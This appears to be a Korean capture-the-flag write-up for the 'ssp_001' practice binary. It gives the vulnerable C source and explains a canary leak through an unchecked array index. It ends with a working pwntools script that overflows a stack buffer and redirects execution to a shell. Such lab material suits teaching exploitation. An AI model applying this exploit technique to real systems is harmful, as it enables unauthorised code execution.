#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
아래 코드 부분을 보면 idx
를 통해 box
배열의 인덱스의 값에 접근할 수 있다. 해당 코드에서는 idx
에 해당 검증이 없어서 메모리 leak 이 가능하다.
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
다음 코드를 코면 name_len
을 입력값으로 받아서 해당 크기만큼 name
배열에 입력을 받고 있다. name_len
에 배열 크기 이상의 숫자를 입력한다면 스택 버퍼 오버플로우 공격을 수행할 수 있다.
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
'P' 케이스를 여러번 수행하여 canary 를 leak 한 후, 스택 버퍼 오버플로우 공격을 수행하면 될 것 같다.
카나리가 설정되어 있는것을 확인할 수 있다.
공격을 위해서는 아래와 같은 정보가 필요하다
main 함수의 디스어셈블 코드를 확인해보았을 때-98 ebp-0x8
에 카나리가 위치해 있는 것을 알 수 있다.
c 코드를 보면 두 번째 read
함수의 인자로 box
를 받고 있다. 해당 위치의 read
함수의 인자를 확인해보면 box
의 주소를 알수 있다.
c 코드에서 가장 마지막에 작성된 read
함수의 인자로 name
을 받고 있다. 해당 위치의 read
함수의 인자를 확인해보면 name
의 주소를 알 수 있다.
위에서 구한 정보로 스택을 구성해보면 다음과 같다
스택에서 카나리는 box[128]
, box[129]
, box[130]
, box[131]
에 위치한다. case 'P'
를 4번 실행한 후 idx
의 값을 각각 128, 129, 130, 131 로 설정하면 카나리 값을 확인할 수 있다.
위에서 구한 카나리를 사용하여 반환 주소를 get_shell()
함수의 주소로 덮어씌우면 쉘을 획득할 수 있다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
def case_p(idx):
p.recvuntil(b"> ")
p.send(b"P")
p.recvuntil(b"Element index : ")
p.sendline(str(idx).encode())
p.recvuntil(b"is : ")
c = p.recvline()[:-1]
return c
def case_e(name_len, name):
p.recvuntil(b"> ")
p.send(b"E")
p.recvuntil(b"Name Size : ")
p.sendline(str(name_len).encode())
p.recvuntil(b"Name : ")
p.send(name)
p = process("./ssp_001")
e = ELF("./ssp_001")
get_shell = e.symbols["get_shell"]
slog("get_shell", get_shell)
canary = b''
for i in [128, 129, 130, 131]:
c = case_p(i)
canary = c + canary
canary = int(b"0x" + canary, 16)
slog("canary", canary)
payload = b''
payload += b"A"*64
payload += p32(canary)
payload += b"A"*8
payload += p32(get_shell)
case_e(140, payload)
p.interactive()